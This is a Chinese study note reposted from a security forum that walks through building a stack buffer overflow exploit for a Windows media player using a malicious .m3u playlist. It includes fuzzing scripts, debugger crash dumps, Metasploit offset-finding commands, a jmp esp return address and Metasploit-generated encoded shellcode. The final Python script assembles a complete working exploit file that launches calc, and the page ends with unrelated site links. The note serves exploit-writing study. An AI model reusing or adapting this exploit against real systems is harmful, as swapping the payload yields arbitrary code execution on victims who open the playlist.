看雪学习笔记-[原创]EXP编写学习 之 栈溢出(一)

2023-10-27

看雪学习笔记-[原创]EXP编写学习 之 栈溢出(一)

https://www.exploit-db.com/exploits/10619

image-20230328162756664

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 27000
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char)
Fileptr.close()
print("CreatFile Success")

vuln analyze

use windbag

ModLoad: 74d90000 74dfd000   C:\WINDOWS\system32\RichEd20.dll
(af0.b04): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00006978
eip=41414141 esp=000ff730 ebp=00384300 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???
0:000> g
(af0.b04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00006978
eip=41414141 esp=000ff730 ebp=00384300 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
41414141 ??              ???
0:000> dd esp
000ff730  41414141 41414141 41414141 41414141
000ff740  41414141 41414141 41414141 41414141
000ff750  41414141 41414141 41414141 41414141
000ff760  41414141 41414141 41414141 41414141
000ff770  41414141 41414141 41414141 41414141
000ff780  41414141 41414141 41414141 41414141
000ff790  41414141 41414141 41414141 41414141
000ff7a0  41414141 41414141 41414141 41414141
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30000 >poc.m3u
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ ls
'1 copy 2.py'  '1 copy.py'   1.py   1.txt   poc.m3u   socket   t.py
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ ls
'1 copy 2.py'  '1 copy.py'   1.py   1.txt   poc.m3u   socket   t.py
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x48386b48 -l 30000
[*] Exact match at offset 5784
[*] Exact match at offset 26064

poc.m3u

(7d8.21c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00007531
eip=48386b48 esp=000ff730 ebp=00384300 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
48386b48 ??              ???

0x48386b48

┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30000 >poc.m3u
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ ls
'1 copy 2.py'  '1 copy.py'   1.py   1.txt   poc.m3u   socket   t.py
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ ls
'1 copy 2.py'  '1 copy.py'   1.py   1.txt   poc.m3u   socket   t.py
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x48386b48 -l 30000
[*] Exact match at offset 5784
[*] Exact match at offset 26064

#!/usr/bin/python
# -*- coding: UTF-8 -*-


char = "\x41" * 26064
eip = "BBBB"
espdata = 'C' * 1000
 
Fileptr = open(r'crash2.m3u','w')
Fileptr.write(char + eip + espdata)
Fileptr.close()
 
 
print("CreatFile Success")

EAX : 00000001
EBX : 00104A58
ECX : 7C93003D     ntdll.7C93003D
EDX : 00AA0000
EBP : 003842B8
ESP : 000FF730
ESI : 77C2FCE0     msvcrt.77C2FCE0
EDI : 000069BC
EIP : 42424242
EFLAGS : 00010206     L"P_NO_HOST_CHECK=NO"
ZF : 0
OF : 0     L'Ȁ'
CF : 0     L'Ā'
PF : 1
SF : 0     L"=::=::\\"
TF : 0     L'Ā'
AF : 0
DF : 0
IF : 1
LastError : 00000000 (ERROR_SUCCESS)
LastStatus : C000000F (STATUS_NO_SUCH_FILE)
GS : 0000
ES : 0023
CS : 001B
FS : 003B
DS : 0023
SS : 0023     '#'
x87r0 : FFFFFF447DEDFF447DED
x87r1 : FFFF0000000000000000
x87r2 : FFFF00FE004B008200ED
x87r3 : FFFF00FE0047008000ED
x87r4 : FFFFFF4780EEFF4B83EE
x87r5 : FFFF00FF0047008000EE
x87r6 : FFFF0000000000000000
x87r7 : FFFF0080008000800080
x87TagWord : FFFF
x87ControlWord : 027F     L'ɿ'
x87StatusWord : 0000
x87TW_0 : 3 (空)
x87TW_1 : 3 (空)
x87TW_2 : 3 (空)
x87TW_3 : 3 (空)
x87TW_4 : 3 (空)
x87TW_5 : 3 (空)
x87TW_6 : 3 (空)
x87TW_7 : 3 (空)
x87SW_B : 0
x87SW_C3 : 0
x87SW_TOP : 0 (ST0=x87r0)
x87SW_C2 : 0
x87SW_C1 : 0
x87SW_O : 0
x87SW_ES : 0
x87SW_SF : 0
x87SW_P : 0
x87SW_U : 0
x87SW_Z : 0
x87SW_D : 0
x87SW_I : 0
x87SW_C0 : 0
x87CW_IC : 0
x87CW_RC : 0 (向最近偶数)
x87CW_PC : 2 (Real8)
x87CW_PM : 1
x87CW_UM : 1
x87CW_OM : 1
x87CW_ZM : 1
x87CW_DM : 1     L'ā'
x87CW_IM : 1
MxCsr : 00001F80
MxCsr_FZ : 0
MxCsr_PM : 1
MxCsr_UM : 1
MxCsr_OM : 1
MxCsr_ZM : 1
MxCsr_IM : 1     L'ā'
MxCsr_DM : 1
MxCsr_DAZ : 0
MxCsr_PE : 0
MxCsr_UE : 0
MxCsr_OE : 0
MxCsr_ZE : 0
MxCsr_DE : 0
MxCsr_IE : 0
MxCsr_RC : 0 (向最近偶数)
MM0 : FF447DEDFF447DED
MM1 : 0000000000000000
MM2 : 00FE004B008200ED
MM3 : 00FE0047008000ED
MM4 : FF4780EEFF4B83EE
MM5 : 00FF0047008000EE
MM6 : 0000000000000000
MM7 : 0080008000800080
XMM0  : 00000000000000000000000000000000
XMM1  : 00000000000000000000000000000000
XMM2  : 00000000000000000000000000000000
XMM3  : 00000000000000000000000000000000
XMM4  : 00000000000000000000000000000000
XMM5  : 00000000000000000000000000000000
XMM6  : 00000000000000000000000000000000
XMM7  : 00000000000000000000000000000000
YMM0  : 0000000000000000000000000000000000000000000000000000000000000000
YMM1  : 0000000000000000000000000000000000000000000000000000000000000000
YMM2  : 0000000000000000000000000000000000000000000000000000000000000000
YMM3  : 0000000000000000000000000000000000000000000000000000000000000000
YMM4  : 0000000000000000000000000000000000000000000000000000000000000000
YMM5  : 0000000000000000000000000000000000000000000000000000000000000000
YMM6  : 0000000000000000000000000000000000000000000000000000000000000000
YMM7  : 0000000000000000000000000000000000000000000000000000000000000000
DR0 : 00000000
DR1 : 00000000
DR2 : 00000000
DR3 : 00000000
DR6 : 00000000
DR7 : 00000000


(d34.c28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=000069bc
eip=42424242 esp=000ff730 ebp=00384300 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???
0:000> dd esp
000ff730  43434343 43434343 43434343 43434343
000ff740  43434343 43434343 43434343 43434343
000ff750  43434343 43434343 43434343 43434343
000ff760  43434343 43434343 43434343 43434343
000ff770  43434343 43434343 43434343 43434343
000ff780  43434343 43434343 43434343 43434343
000ff790  43434343 43434343 43434343 43434343
000ff7a0  43434343 43434343 43434343 43434343


#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 26064
eip = "BBBB"
espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";

 
Fileptr = open(r'crash3.m3u','w')
Fileptr.write(char + eip + espdata)
Fileptr.close()
 
 
print("CreatFile Success")

(dfc.d90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00006625
eip=42424242 esp=000ff730 ebp=00384300 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???
0:000> dd esp
000ff730  6d6e6276 63787a32 6d6e6276 787a336e
000ff740  6e627663 787a346d 6e627663 787a356d
000ff750  6e627663 787a366d 6e627663 787a376d
000ff760  6e627663 787a386d 6e627663 787a396d
000ff770  6e627663 787a306d 6e627663 4141006d
000ff780  41414141 41414141 41414141 41414141
000ff790  41414141 41414141 41414141 41414141
000ff7a0  41414141 41414141 41414141 41414141

000FF724   41414141     AAAA
000FF728   42424242     BBBB
000FF72C   63787A31     1zxc
000FF730   6D6E6276     vbnm
000FF734   63787A32     2zxc
000FF738   6D6E6276     vbnm
000FF73C   787A336E     n3zx
000FF740   6E627663     cvbn
000FF744   787A346D     m4zx
000FF748   6E627663     cvbn
000FF74C   787A356D     m5zx
000FF750   6E627663     cvbn
000FF754   787A366D     m6zx
000FF758   6E627663     cvbn
000FF75C   787A376D     m7zx
000FF760   6E627663     cvbn
000FF764   787A386D     m8zx
000FF768   6E627663     cvbn
000FF76C   787A396D     m9zx
000FF770   6E627663     cvbn
000FF774   787A306D     m0zx
000FF778   6E627663     cvbn
000FF77C   4141006D     m.AA
000FF780   41414141     AAAA

image-20230329102026093

Find the machine code jmp esp->FFE4

Or through the x32dbg:

image-20230329103938360

Find jmp esp ->FFE4

Find the dll

DLL已载入: 71A40000 C:\WINDOWS\system32\wsock32.dll
DLL已载入: 76EB0000 C:\WINDOWS\system32\rasapi32.dll
DLL已载入: 76E60000 C:\WINDOWS\system32\rasman.dll
DLL已载入: 5FDD0000 C:\WINDOWS\system32\netapi32.dll
DLL已载入: 76E80000 C:\WINDOWS\system32\tapi32.dll
DLL已载入: 76E50000 C:\WINDOWS\system32\rtutils.dll
DLL已载入: 72240000 C:\WINDOWS\system32\sensapi.dll
DLL已载入: 759D0000 C:\WINDOWS\system32\userenv.dll
DLL已载入: 75C60000 C:\WINDOWS\system32\urlmon.dll
DLL已载入: 719C0000 C:\WINDOWS\system32\mswsock.dll
DLL已载入: 76EF0000 C:\WINDOWS\system32\dnsapi.dll
DLL已载入: 76F90000 C:\WINDOWS\system32\rasadhlp.dll
DLL已载入: 60FD0000 C:\WINDOWS\system32\hnetcfg.dll
DLL已载入: 71A00000 C:\WINDOWS\system32\wshtcpip.dll

image-20230329105253760

77221F43 | FFE4 | jmp esp |

“\x43\x1F\x22\x77”

msf6 > use payload/windows/exec 
msf6 payload(windows/exec) > show options

Module options (payload/windows/exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD                        yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)


View the full module info with the info, or info -d command.

msf6 payload(windows/exec) > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    debug         Display information useful for debugging
    exit          Exit the console
    features      Display the list of not yet released features that can be opted in to
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    load          Load a framework plugin
    quit          Exit the console
    repeat        Repeat a list of commands
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    tips          Show a list of useful productivity tips
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    clearm        Clear the module stack
    favorite      Add module(s) to the list of favorite modules
    info          Displays information about one or more modules
    listm         List the module stack
    loadpath      Searches for and loads modules from a path
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    show          Displays modules of a given type, or all modules
    use           Interact with a module by name or search term/index


Job Commands
============

    Command       Description
    -------       -----------
    handler       Start a payload handler as job
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    analyze           Analyze database information about a specific address or address range
    db_connect        Connect to an existing data service
    db_disconnect     Disconnect from the current data service
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
    db_remove         Remove the saved data service entry
    db_save           Save the current data service connection as the default to reconnect on startup
    db_status         Show the current data service status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


Credentials Backend Commands
============================

    Command       Description
    -------       -----------
    creds         List all credentials in the database


Developer Commands
==================

    Command       Description
    -------       -----------
    edit          Edit the current module or a file with the preferred editor
    irb           Open an interactive Ruby shell in the current context
    log           Display framework.log paged to the end if possible
    pry           Open the Pry debugger on the current module or Framework
    reload_lib    Reload Ruby library files from specified paths
    time          Time how long it takes to run a particular command


Payload Commands
================

    Command       Description
    -------       -----------
    check         Check to see if a target is vulnerable
    generate      Generates a payload
    reload        Reload the current module from disk
    to_handler    Creates a handler with the specified payload


msfconsole
==========

`msfconsole` is the primary interface to Metasploit Framework. There is quite a
lot that needs go here, please be patient and keep an eye on this space!

Building ranges and lists
-------------------------

Many commands and options that take a list of things can use ranges to avoid
having to manually list each desired thing. All ranges are inclusive.

### Ranges of IDs

Commands that take a list of IDs can use ranges to help. Individual IDs must be
separated by a `,` (no space allowed) and ranges can be expressed with either
`-` or `..`.

### Ranges of IPs

There are several ways to specify ranges of IP addresses that can be mixed
together. The first way is a list of IPs separated by just a ` ` (ASCII space),
with an optional `,`. The next way is two complete IP addresses in the form of
`BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
specifications may also be used, however the whole address must be given to
Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
Additionally, a netmask can be used in conjunction with a domain name to
dynamically resolve which block to target. All these methods work for both IPv4
and IPv6 addresses. IPv4 addresses can also be specified with special octet
ranges from the [NMAP target
specification](https://nmap.org/book/man-target-specification.html)

### Examples

Terminate the first sessions:

    sessions -k 1

Stop some extra running jobs:

    jobs -k 2-6,7,8,11..15

Check a set of IP addresses:

    check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255

Target a set of IPv6 hosts:

    set RHOSTS fe80::3990:0000/110, ::1-::f0f0

Target a block from a resolved domain name:

    set RHOSTS www.example.test/24
msf6 payload(windows/exec) > generate -h
Usage: generate [options]

Generates a payload. Datastore options may be supplied after normal options.

Example: generate -f python LHOST=127.0.0.1

OPTIONS:

    -b   The list of characters to avoid example: '\x00\xff'
    -E   Force encoding
    -e   The encoder to use
    -f   Output format: base32,base64,bash,c,csharp,dw,dword,go,golang,hex,java,js_be,js_le,nim,nimlang,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,rust,rustlang,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war
    -h   Show this message
    -i   The number of times to encode the payload
    -k   Preserve the template behavior and inject the payload as a new thread
    -n   Prepend a nopsled of [length] size on to the payload
    -o   The output file name (otherwise stdout)
    -O   Deprecated: alias for the '-o' option
    -p   The platform of the payload
    -P   Total desired payload size, auto-produce appropriate NOP sled length
    -S   The new section name to use when generating (large) Windows binaries
    -v   Verbose output (display stage in addition to stager)
    -x   Specify a custom executable file to use as a template
msf6 payload(windows/exec) > show options

Module options (payload/windows/exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD                        yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)


View the full module info with the info, or info -d command.

msf6 payload(windows/exec) > set cmd calc
cmd => calc
msf6 payload(windows/exec) > set exitfunc seh
exitfunc => seh
msf6 payload(windows/exec) > generate -b "\x00" -e x86/alpha_upper -f python
# windows/exec - 445 bytes
# https://metasploit.com/
# Encoder: x86/alpha_upper
# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calc
buf =  b""
buf += b"\xd9\xd0\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x43"
buf += b"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
buf += b"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51"
buf += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38"
buf += b"\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x32\x43"
buf += b"\x30\x35\x50\x45\x50\x43\x50\x4c\x49\x5a\x45\x46"
buf += b"\x51\x59\x50\x35\x34\x4c\x4b\x30\x50\x50\x30\x4c"
buf += b"\x4b\x51\x42\x54\x4c\x4c\x4b\x30\x52\x34\x54\x4c"
buf += b"\x4b\x34\x32\x51\x38\x44\x4f\x48\x37\x50\x4a\x47"
buf += b"\x56\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x43\x51\x43"
buf += b"\x4c\x35\x52\x36\x4c\x51\x30\x39\x51\x38\x4f\x54"
buf += b"\x4d\x33\x31\x4f\x37\x4d\x32\x4b\x42\x30\x52\x31"
buf += b"\x47\x4c\x4b\x56\x32\x42\x30\x4c\x4b\x51\x5a\x57"
buf += b"\x4c\x4c\x4b\x30\x4c\x32\x31\x33\x48\x4a\x43\x47"
buf += b"\x38\x33\x31\x38\x51\x50\x51\x4c\x4b\x50\x59\x57"
buf += b"\x50\x45\x51\x48\x53\x4c\x4b\x50\x49\x44\x58\x4a"
buf += b"\x43\x37\x4a\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x55"
buf += b"\x51\x38\x56\x30\x31\x4b\x4f\x4e\x4c\x59\x51\x58"
buf += b"\x4f\x34\x4d\x53\x31\x4f\x37\x57\x48\x4d\x30\x42"
buf += b"\x55\x4c\x36\x55\x53\x43\x4d\x4b\x48\x47\x4b\x33"
buf += b"\x4d\x46\x44\x34\x35\x4d\x34\x31\x48\x4c\x4b\x36"
buf += b"\x38\x36\x44\x53\x31\x58\x53\x53\x56\x4c\x4b\x34"
buf += b"\x4c\x30\x4b\x4c\x4b\x31\x48\x45\x4c\x43\x31\x38"
buf += b"\x53\x4c\x4b\x45\x54\x4c\x4b\x33\x31\x38\x50\x4b"
buf += b"\x39\x37\x34\x56\x44\x46\x44\x51\x4b\x31\x4b\x45"
buf += b"\x31\x46\x39\x31\x4a\x36\x31\x4b\x4f\x4b\x50\x51"
buf += b"\x4f\x51\x4f\x30\x5a\x4c\x4b\x35\x42\x5a\x4b\x4c"
buf += b"\x4d\x31\x4d\x52\x4a\x55\x51\x4c\x4d\x4d\x55\x38"
buf += b"\x32\x53\x30\x55\x50\x35\x50\x50\x50\x55\x38\x46"
buf += b"\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x38\x55\x4f"
buf += b"\x4b\x4b\x4e\x34\x4e\x46\x52\x4a\x4a\x35\x38\x49"
buf += b"\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x37"
buf += b"\x4c\x35\x56\x53\x4c\x44\x4a\x4d\x50\x4b\x4b\x4b"
buf += b"\x50\x54\x35\x55\x55\x4f\x4b\x57\x37\x52\x33\x44"
buf += b"\x32\x52\x4f\x32\x4a\x55\x50\x31\x43\x4b\x4f\x48"
buf += b"\x55\x52\x43\x33\x51\x32\x4c\x33\x53\x55\x50\x41"
buf += b"\x41"
msf6 payload(windows/exec) > 

#!/usr/bin/python
# -*- coding: UTF-8 -*-

# windows/exec - 445 bytes
# https://metasploit.com/
# Encoder: x86/alpha_upper
# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calc
buf =  b""
buf += b"\xd9\xd0\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x43"
buf += b"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
buf += b"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51"
buf += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38"
buf += b"\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x32\x43"
buf += b"\x30\x35\x50\x45\x50\x43\x50\x4c\x49\x5a\x45\x46"
buf += b"\x51\x59\x50\x35\x34\x4c\x4b\x30\x50\x50\x30\x4c"
buf += b"\x4b\x51\x42\x54\x4c\x4c\x4b\x30\x52\x34\x54\x4c"
buf += b"\x4b\x34\x32\x51\x38\x44\x4f\x48\x37\x50\x4a\x47"
buf += b"\x56\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x43\x51\x43"
buf += b"\x4c\x35\x52\x36\x4c\x51\x30\x39\x51\x38\x4f\x54"
buf += b"\x4d\x33\x31\x4f\x37\x4d\x32\x4b\x42\x30\x52\x31"
buf += b"\x47\x4c\x4b\x56\x32\x42\x30\x4c\x4b\x51\x5a\x57"
buf += b"\x4c\x4c\x4b\x30\x4c\x32\x31\x33\x48\x4a\x43\x47"
buf += b"\x38\x33\x31\x38\x51\x50\x51\x4c\x4b\x50\x59\x57"
buf += b"\x50\x45\x51\x48\x53\x4c\x4b\x50\x49\x44\x58\x4a"
buf += b"\x43\x37\x4a\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x55"
buf += b"\x51\x38\x56\x30\x31\x4b\x4f\x4e\x4c\x59\x51\x58"
buf += b"\x4f\x34\x4d\x53\x31\x4f\x37\x57\x48\x4d\x30\x42"
buf += b"\x55\x4c\x36\x55\x53\x43\x4d\x4b\x48\x47\x4b\x33"
buf += b"\x4d\x46\x44\x34\x35\x4d\x34\x31\x48\x4c\x4b\x36"
buf += b"\x38\x36\x44\x53\x31\x58\x53\x53\x56\x4c\x4b\x34"
buf += b"\x4c\x30\x4b\x4c\x4b\x31\x48\x45\x4c\x43\x31\x38"
buf += b"\x53\x4c\x4b\x45\x54\x4c\x4b\x33\x31\x38\x50\x4b"
buf += b"\x39\x37\x34\x56\x44\x46\x44\x51\x4b\x31\x4b\x45"
buf += b"\x31\x46\x39\x31\x4a\x36\x31\x4b\x4f\x4b\x50\x51"
buf += b"\x4f\x51\x4f\x30\x5a\x4c\x4b\x35\x42\x5a\x4b\x4c"
buf += b"\x4d\x31\x4d\x52\x4a\x55\x51\x4c\x4d\x4d\x55\x38"
buf += b"\x32\x53\x30\x55\x50\x35\x50\x50\x50\x55\x38\x46"
buf += b"\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x38\x55\x4f"
buf += b"\x4b\x4b\x4e\x34\x4e\x46\x52\x4a\x4a\x35\x38\x49"
buf += b"\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x37"
buf += b"\x4c\x35\x56\x53\x4c\x44\x4a\x4d\x50\x4b\x4b\x4b"
buf += b"\x50\x54\x35\x55\x55\x4f\x4b\x57\x37\x52\x33\x44"
buf += b"\x32\x52\x4f\x32\x4a\x55\x50\x31\x43\x4b\x4f\x48"
buf += b"\x55\x52\x43\x33\x51\x32\x4c\x33\x53\x55\x50\x41"
buf += b"\x41"

beforeshellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

char = "\x41" * 26064
eip = "\x43\x1F\x22\x77"
#espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";

 
Fileptr = open(r'crash4.m3u','w')
Fileptr.write(char + eip + beforeshellcode + buf)
Fileptr.close()
 
 
print("CreatFile Success")

image-20230329115108180

参考:

https://www.kanxue.com/chm.htm?id=18395&pid=node1001007

https://bbs.kanxue.com/thread-268883.htm?source=1


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

看雪学习笔记-[原创]EXP编写学习 之 栈溢出(一) 的相关文章

  • 使用 python 制作本地服务器应用程序的最佳方法

    我想要简单轻松地集成 python 和 vba 人们 如果他们在阅读本文后亲自见到我 阅读本文可能会杀了我 但我正在使用 django 开发服务器来实现此目的 有没有什么简单又好的方法 仅举个例子 我想使用 python 模块 openpy
  • python 可以检测它运行在哪个操作系统下吗?

    python 可以检测操作系统 然后为文件系统构建 if else 语句吗 我需要将 Fn 字符串中的 C CobaltRCX 替换为 FileSys 字符串 import os path csv from time import strf
  • 在 Python 中使用 XPath 和 LXML

    我有一个 python 脚本 用于解析 XML 并将某些感兴趣的元素导出到 csv 文件中 我现在尝试更改脚本以允许根据条件过滤 XML 文件 等效的 XPath 查询将是 DC Events Confirmation contains T
  • Python 中的六边形自组织映射

    我在寻找六边形 自组织映射 http en wikipedia org wiki Self organizing map在Python上 准备好模块 如果存在的话 绘制六边形单元格的方法 将六边形单元作为数组或其他方式使用的算法 About
  • 如何更改充当按钮的范围的文本

    我正在为自定义 Web 应用程序编写自动化测试 我遇到了无法更改跨度文本的问题 我尝试过使用 driver execute script 但没有运气 如果我更好地了解 javascript 这确实会有帮助 据我所知 您无法单击跨度 并且列表
  • 在 python-docx 中搜索和替换

    我有一个包含以下字符串的文档 模板 你好 我的名字是鲍勃 鲍勃是一个很好的名字 我想使用 python docx 打开此文档并使用 查找和替换 方法 如果存在 来更改每个字符串 Bob gt Mark 最后 我想生成一个新文档 其中包含字符
  • python中函数变量的作用域

    假设我们有两个函数 def ftpConnect ftp FTP server ftp login ftp cwd path def getFileList ftpConnect files ftp nlst print files 如果我
  • VSCode pytest 测试发现失败

    Pytest 测试发现失败 用户界面指出 Test discovery error please check the configuration settings for the tests 输出窗口显示 Test Discovery fa
  • 反加入熊猫

    我有两个表 我想附加它们 以便仅保留表 A 中的所有数据 并且仅在其键唯一时添加表 B 中的数据 键值在表 A 和 B 中是唯一的 但在某些情况下键将出现在表 A 和 B 中 我认为执行此操作的方法将涉及某种过滤联接 反联接 以获取表 B
  • 使用 genfromtxt 导入 numpy 中缺失值的 csv 数据

    我有一个 csv 文件 看起来像这样 实际文件有更多的列和行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 假设文件的名称是info csv如果我尝试使用导入它 data numpy genfromtxt i
  • Python While 循环,and (&) 运算符不起作用

    我正在努力寻找最大公因数 我写了一个糟糕的 运算密集型 算法 它将较低的值减一 使用 检查它是否均匀地划分了分子和分母 如果是 则退出程序 但是 我的 while 循环没有使用 and 运算符 因此一旦分子可整除 它就会停止 即使它不是正确
  • Python unicode 字符代码?

    有没有办法将 Unicode 字符 插入 Python 3 中的字符串 例如 gt gt gt import unicode gt gt gt string This is a full block s unicode charcode U
  • 使用循环将对象添加到列表(python)

    我正在尝试使用 while 循环将对象添加到列表中 基本上这就是我想做的 class x pass choice raw input pick what you want to do while choice 0 if choice 1 E
  • 在 Windows 上使用 IPython 笔记本时出现 500 服务器错误

    我刚刚在 Windows 7 Professional 64 位上全新安装了 IPython 笔记本 我采取的步骤是 从以下位置安装 Python 3 4 1http python org http python org gt pip in
  • urllib2.urlopen() 是否实际获取页面?

    当我使用 urllib2 urlopen 时 我在考虑它只是为了读取标题还是实际上带回整个网页 IE 是否真的通过 urlopen 调用或 read 调用获取 HTML 页面 handle urllib2 urlopen url html
  • 在 pip.conf 中指定多个可信主机

    这是我尝试在我的中设置的 etc pip conf global trusted host pypi org files pythonhosted org 但是 它无法正常工作 参考 https pip pypa io en stable
  • python中的sys.stdin.fileno()是什么

    如果这是非常基本的或之前已经问过的 我很抱歉 我用谷歌搜索但找不到简单且令人满意的解释 我想知道什么sys stdin fileno is 我在代码中看到了它 但不明白它的作用 这是实际的代码块 fileno sys stdin filen
  • Python模块单元测试的最佳文件结构组织?

    遗憾的是 我发现有太多方法可以在 Python 中保存单元测试 而且它们通常没有很好的文档记录 我正在寻找一种 终极 结构 它可以满足以下大部分要求 be discoverable by test frameworks including
  • CSV 在列中查找最大值并附加新数据

    大约两个小时前 我问了一个关于从网站读取和写入数据的问题 从那时起 我花了最后两个小时试图找到一种方法来从输出的 A 列读取最大日期值 将该值与刷新的网站数据进行比较 并将任何新数据附加到 csv 文件而不覆盖旧的或创建重复项 目前 100
  • 如何对字符串列表进行排序?

